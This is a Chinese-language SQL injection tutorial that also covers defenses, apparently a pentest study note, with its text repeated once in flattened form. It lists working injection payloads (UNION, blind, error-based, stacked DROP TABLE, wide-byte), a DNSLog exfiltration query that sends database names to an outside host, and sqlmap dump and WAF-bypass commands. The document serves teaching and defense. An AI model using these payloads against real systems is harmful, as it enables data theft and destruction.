渗透小结-SQL注入篇
字数 1362 2025-08-15 21:33:12

SQL注入攻击全面解析与防御指南

一、SQL注入概述

SQL注入是一种将SQL代码添加到输入参数中,传递到SQL解析并执行的一种攻击手法。攻击者通过构造特殊的SQL语句,可以实现无账号登录、篡改数据库甚至获取服务器权限等恶意操作。SQL注入长期位列OWASP TOP 10安全威胁。

攻击原理

  • 应用程序未对用户输入进行充分过滤和验证
  • 恶意SQL代码被拼接到原始SQL查询中
  • 数据库执行了包含恶意代码的完整SQL语句

二、SQL注入漏洞识别方法

1. 输入点识别

  • 识别Web应用的所有输入点:表单、URL参数、HTTP头、Cookie等
  • 重点关注用户可控的输入参数

2. 请求类型分析

  • POST请求:常见于登录表单等
  • GET请求:URL参数直接可见
  • HTTP头注入:User-Agent、Referer等头部字段
  • Cookie注入:存储在客户端的身份验证信息

3. 异常检测

  • 观察服务器响应中的异常信息
  • 通过响应时间判断是否存在注入可能

三、SQL注入分类与利用技术

1. 按注入点类型分类

(1) 数字型注入

-- 真条件测试
SELECT * FROM test WHERE id=1537 AND 1=1
-- 假条件测试
SELECT * FROM test WHERE id=1537 AND 1=2
-- 永真条件
SELECT * FROM test WHERE id=1537 OR 1=1

(2) 字符串型注入

-- 原始查询
SELECT column1,column2 FROM table WHERE name = '用户输入';
-- 注入payload
SELECT column1,column2 FROM table WHERE name = 'sss' OR 1=1 #';

(3) 搜索型注入

-- 原始查询
SELECT column1,column2 FROM table WHERE name LIKE '用户输入%';
-- 注入payload
SELECT column1,column2 FROM table WHERE name LIKE 's%' OR 1=1 #'';

2. 按提交方式分类

(1) GET注入

  • 通过URL参数直接注入
  • 示例:http://example.com/page?id=1' AND 1=1--

(2) POST注入

  • 需要通过工具修改POST请求内容
  • 常用工具:Burp Suite、Hackbar等

(3) HTTP头注入

-- 注入User-Agent头
INSERT httpinfo(userid,ipaddress,useragent) 
VALUES('$id','$ip','' OR updatexml(1,concat(0x7e,database()),0) OR '')

(4) Cookie注入

  • 修改Cookie值进行注入
  • 常用工具:Burp Suite拦截修改

3. 按信息获取方式分类

(1) 基于布尔的盲注

  • 无报错信息,仅返回对/错两种状态
-- 判断数据库第一个字符是否为'p'
vince' AND substr(database(),1,1)='p' #

(2) 基于时间的盲注

-- 如果第一个字符是'p'则延迟5秒
vince' AND IF((substr(database(),1,1))='p',sleep(5),null) #

(3) 基于报错的注入

updatexml函数注入

aaa' OR updatexml(1,concat(0x7e,database()),0) OR '

extractvalue函数注入

ss' OR extractvalue(1,concat(0x7e,database())) OR '

floor函数注入

AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x 
FROM information_schema.tables GROUP BY x)a)

(4) 联合查询注入

-- 判断列数
1' ORDER BY 2
-- 查看回显位置
s' UNION SELECT 1,2 #
-- 获取数据库信息
s' UNION SELECT user(),database() #

(5) 堆叠查询注入

-- MySQL示例
SELECT * FROM test WHERE id=1; CREATE TABLE test1;
-- SQL Server示例
SELECT * FROM test; DROP TABLE users;

4. 其他特殊注入技术

(1) 宽字节注入

  • 利用GBK编码特性绕过转义
  • 条件:数据库使用GB系列编码且使用了转义函数
s%DF' OR 1=1 #

(2) DNSLog注入

  • 通过DNS请求外带数据
AND (SELECT load_file(concat('//',(SELECT database()),'.y2btnp.dnslog.cn/1.txt')))

四、自动化注入工具 - SQLmap

基本用法

# 基本检测
sqlmap.py -u "http://example.com/page?id=1"
# Cookie注入
sqlmap.py -u URL --cookie "参数" --tables --level 4
# POST注入
sqlmap.py -r post请求文件 -p 指定参数 --tables

高级参数

  • --batch: 使用默认配置不询问
  • --forms: 自动检测和提交表单
  • --dbs: 枚举数据库
  • --tables: 枚举表
  • --columns: 枚举列
  • --dump: 导出数据
  • --tamper: 使用绕过脚本

WAF绕过

sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper=modsecurityversioned.py

五、SQL注入防御措施

1. 权限控制

  • 业务用户和管理用户权限分离
  • 最小权限原则:仅授予必要权限

2. 输入处理

  • 严格过滤和转义用户输入
  • 白名单验证输入格式
  • 黑名单过滤危险字符

3. 安全编码

  • 使用参数化查询(Prepared Statements)
  • 使用ORM框架
  • 存储过程(需注意安全问题)

4. 其他措施

  • 启用WAF防护
  • 定期安全审计和渗透测试
  • 错误信息处理:不暴露数据库细节
  • 定期更新和补丁管理

六、总结

SQL注入作为最危险的Web安全威胁之一,攻击者可以通过多种技术手段实现数据泄露、权限提升等恶意目的。防御SQL注入需要从开发规范、输入验证、权限控制等多方面入手,建立纵深防御体系。安全是一个持续的过程,需要开发人员、运维人员和安全团队的共同努力。

SQL注入攻击全面解析与防御指南 一、SQL注入概述 SQL注入是一种将SQL代码添加到输入参数中,传递到SQL解析并执行的一种攻击手法。攻击者通过构造特殊的SQL语句,可以实现无账号登录、篡改数据库甚至获取服务器权限等恶意操作。SQL注入长期位列OWASP TOP 10安全威胁。 攻击原理 应用程序未对用户输入进行充分过滤和验证 恶意SQL代码被拼接到原始SQL查询中 数据库执行了包含恶意代码的完整SQL语句 二、SQL注入漏洞识别方法 1. 输入点识别 识别Web应用的所有输入点:表单、URL参数、HTTP头、Cookie等 重点关注用户可控的输入参数 2. 请求类型分析 POST请求:常见于登录表单等 GET请求:URL参数直接可见 HTTP头注入:User-Agent、Referer等头部字段 Cookie注入:存储在客户端的身份验证信息 3. 异常检测 观察服务器响应中的异常信息 通过响应时间判断是否存在注入可能 三、SQL注入分类与利用技术 1. 按注入点类型分类 (1) 数字型注入 (2) 字符串型注入 (3) 搜索型注入 2. 按提交方式分类 (1) GET注入 通过URL参数直接注入 示例: http://example.com/page?id=1' AND 1=1-- (2) POST注入 需要通过工具修改POST请求内容 常用工具:Burp Suite、Hackbar等 (3) HTTP头注入 (4) Cookie注入 修改Cookie值进行注入 常用工具:Burp Suite拦截修改 3. 按信息获取方式分类 (1) 基于布尔的盲注 无报错信息,仅返回对/错两种状态 (2) 基于时间的盲注 (3) 基于报错的注入 updatexml函数注入 extractvalue函数注入 floor函数注入 (4) 联合查询注入 (5) 堆叠查询注入 4. 其他特殊注入技术 (1) 宽字节注入 利用GBK编码特性绕过转义 条件:数据库使用GB系列编码且使用了转义函数 (2) DNSLog注入 通过DNS请求外带数据 四、自动化注入工具 - SQLmap 基本用法 高级参数 --batch : 使用默认配置不询问 --forms : 自动检测和提交表单 --dbs : 枚举数据库 --tables : 枚举表 --columns : 枚举列 --dump : 导出数据 --tamper : 使用绕过脚本 WAF绕过 五、SQL注入防御措施 1. 权限控制 业务用户和管理用户权限分离 最小权限原则:仅授予必要权限 2. 输入处理 严格过滤和转义用户输入 白名单验证输入格式 黑名单过滤危险字符 3. 安全编码 使用参数化查询(Prepared Statements) 使用ORM框架 存储过程(需注意安全问题) 4. 其他措施 启用WAF防护 定期安全审计和渗透测试 错误信息处理:不暴露数据库细节 定期更新和补丁管理 六、总结 SQL注入作为最危险的Web安全威胁之一,攻击者可以通过多种技术手段实现数据泄露、权限提升等恶意目的。防御SQL注入需要从开发规范、输入验证、权限控制等多方面入手,建立纵深防御体系。安全是一个持续的过程,需要开发人员、运维人员和安全团队的共同努力。